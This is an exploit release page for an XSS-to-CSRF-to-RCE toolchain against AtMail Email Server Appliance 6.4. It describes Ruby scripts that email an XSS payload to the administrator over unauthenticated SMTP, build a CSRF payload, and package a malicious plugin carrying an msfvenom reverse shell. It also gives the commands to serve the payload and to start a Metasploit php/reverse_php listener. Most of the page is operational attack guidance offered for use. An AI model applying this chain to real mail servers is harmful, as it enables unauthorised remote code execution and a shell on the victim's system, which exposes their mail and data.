
AtMail Email Server Appliance 6.4 - Exploit toolchain (XSS > CSRF > RCE)
[PacketStorm] [WLB-2020080010]
Disclaimer: this exploit toolchain was inspired by EDB-ID 20009.
The goal of this exploit toolchain is to replace EDB-ID 20009.
Pros of this toolchain over EDB-ID 20009 exploit:
Cons of EDB-ID 20009 exploit:
msfvenom for reverse shell generation)Install requirements on ArchLinux:
$ sudo pacman -S metasploit tar ruby
Exploit files:
config.yml contains the toolchain configurationexploit.sh the exploit wrapper that need to be executedxss_mail.rb will send the email containing the XSS to the admin via Atmail SMTP server (unauthenticated).csrf_prepare.rb will prepare the CSRF payload (setting the target and encoding the plugin archive)rce_prepare.rb will prepare the RCE (generating the reverse shell and creating the plugin archive)csrf_plugin.js the prepared CSRF payloadnoraj/ folder containing the uncompressed plugin architectureThe exploit toolchain requires only 2 manual steps:
config.ymlexploit.shBut before launching the attack, a web server need to deliver the JavaScript CSRF file and a reverse shell listener need to be waiting the connection. So the attack will more looks like:
config.ymlcsrf_plugin.jsexploit.shExample of oneline HTTP server:
$ ruby -run -e httpd . -p 8000
Example of reverse shell listener:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > run